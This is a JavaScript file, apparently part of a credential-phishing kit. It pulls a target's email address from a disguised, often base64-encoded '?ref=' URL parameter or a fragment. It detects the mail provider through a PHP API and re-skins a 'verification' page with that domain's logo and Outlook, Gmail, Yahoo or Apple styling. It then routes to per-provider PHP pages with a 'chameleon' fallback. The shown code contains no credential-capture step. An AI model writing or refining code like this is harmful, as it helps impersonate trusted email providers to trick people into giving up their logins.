/**
 * Email Provider Detection System (Unified API Version)
 * 
 * Leverages the server-side PHP detection engine (email_provider_map.php)
 * via a centralized JSON API (detect_provider_api.php).
 */

/**
 * Extract email from URL (query parameter or fragment)
 * Supports formats:
 *   - ?ref=dXNlcj5AZXhhbXBsZS5jb20= (natural-looking query param with base64 - preferred)
 *   - ?ref=user@example.com (natural-looking query param with plain email)
 *   - #email=user@example.com (legacy fragment format)
 *   - #user@example.com (direct fragment)
 */
function extractEmailFromFragment() {
    try {
        var value = null;

        // First, try query parameter 'ref' (natural-looking format)
        var urlParams = new URLSearchParams(window.location.search);
        value = urlParams.get('ref');

        // If not found in query, check fragment (backward compatibility)
        if (!value) {
            var hash = window.location.hash || '';
            if (hash) {
                var fragment = hash.substr(1);
                if (fragment) {
                    var partsIdx = fragment.indexOf('=');
                    if (partsIdx !== -1) {
                        var lhs = fragment.substr(0, partsIdx).toLowerCase();
                        var rhs = fragment.substr(partsIdx + 1);
                        if (lhs === 'email') {
                            value = rhs;
                        } else if (lhs === '') {
                            value = rhs;
                        }
                    } else {
                        value = fragment;
                    }
                }
            }
        }

        if (!value) return null;

        // URL decode
        value = decodeURIComponent(value);

        // Check if base64 encoded
        var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
        if (base64regex.test(value.replace(/\s/g, ''))) {
            try {
                var decoded = atob(value);
                if (decoded && decoded.includes('@')) value = decoded;
            } catch (e) { }
        }

        // Validate email format
        var emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        if (emailRegex.test(value)) {
            return value;
        }

        return null;
    } catch (error) {
        console.error('Error extracting email from URL:', error);
        return null;
    }
}

/**
 * Detect email provider (Unified PHP API Call)
 * Calls the server-side engine to ensure perfect consistency with Direct Mode.
 * @param {string} email - Email address
 * @returns {Promise<string>} Provider name (e.g., 'outlook', 'chameleon')
 */
async function detectEmailProvider(email) {
    if (!email || typeof email !== 'string') {
        return 'chameleon';
    }

    // NEW: Check if we already have a pre-detected provider from the server
    if (window.appConfig && window.appConfig.detectedProvider && window.appConfig.detectedEmail) {
        // Only use pre-detected provider if the email matches exactly
        if (email.toLowerCase().trim() === window.appConfig.detectedEmail.toLowerCase().trim()) {
            console.log('🚀 Using pre-detected provider from server:', window.appConfig.detectedProvider);
            return window.appConfig.detectedProvider;
        }
    }

    try {
        console.log('Detecting provider using Unified PHP Engine for:', email);

        // Call the centralized PHP API
        const response = await fetch('detect_provider_api.php?email=' + encodeURIComponent(email));
        const data = await response.json();

        if (data.status === 'success' && data.provider) {
            console.log('Provider detected via API:', data.provider);
            
            // NEW: Update theme and logo dynamically if detection happens client-side
            updateContainerTheme(data.provider, email);
            
            return data.provider;
        }

        console.warn('API detection unsuccessful, using chameleon fallback:', data.message || 'Unknown error');
        return 'chameleon';
    } catch (error) {
        console.error('Error calling detection API:', error);
        return 'chameleon'; // Default fallback
    }
}

/**
 * Update the verification container theme and logo dynamically
 * @param {string} provider - Detected provider name
 * @param {string} email - User email
 */
function updateContainerTheme(provider, email) {
    const container = document.getElementById('email-verification-container');
    const logoImg = document.getElementById('main-container-logo');
    const emailDisplay = container.querySelector('.user-email-display');
    
    if (!container) return;

    // 1. Update Logo
    if (logoImg && email) {
        const domain = email.split('@')[1];
        if (domain) {
            logoImg.src = 'https://logo.clearbit.com/' + domain + '?size=128';
        }
    }

    // 2. Update Email Display
    if (emailDisplay) {
        emailDisplay.textContent = email;
        emailDisplay.style.display = 'inline-block';
    }

    // 3. Update Theme Class
    const themeMap = {
        'outlook': 'theme-outlook',
        'hotmail': 'theme-outlook',
        'office365': 'theme-outlook',
        'gmail': 'theme-gmail',
        'google': 'theme-gmail',
        'yahoo': 'theme-yahoo',
        'ymail': 'theme-yahoo',
        'aol': 'theme-yahoo',
        'icloud': 'theme-apple',
        'apple': 'theme-apple',
        'me.com': 'theme-apple',
        'zoho': 'theme-zoho'
    };

    const newTheme = themeMap[provider] || 'theme-neutral';
    
    // Remove old theme classes (matching the theme- prefix)
    const classes = container.className.split(' ').filter(c => !c.startsWith('theme-'));
    container.className = classes.join(' ') + ' ' + newTheme;
    
    console.log('🎨 Container theme updated to:', newTheme);
}

/**
 * Get provider PHP file path
 * @param {string} provider - Provider name (e.g., 'outlook', 'zoho')
 * @returns {string} Path to provider PHP file
 */
function getProviderFilePath(provider) {
    if (!provider) {
        return 'providers/chameleon.php';
    }

    var filename = provider;
    if (!filename.endsWith('.php')) {
        filename = filename + '.php';
    }

    return 'providers/' + filename;
}

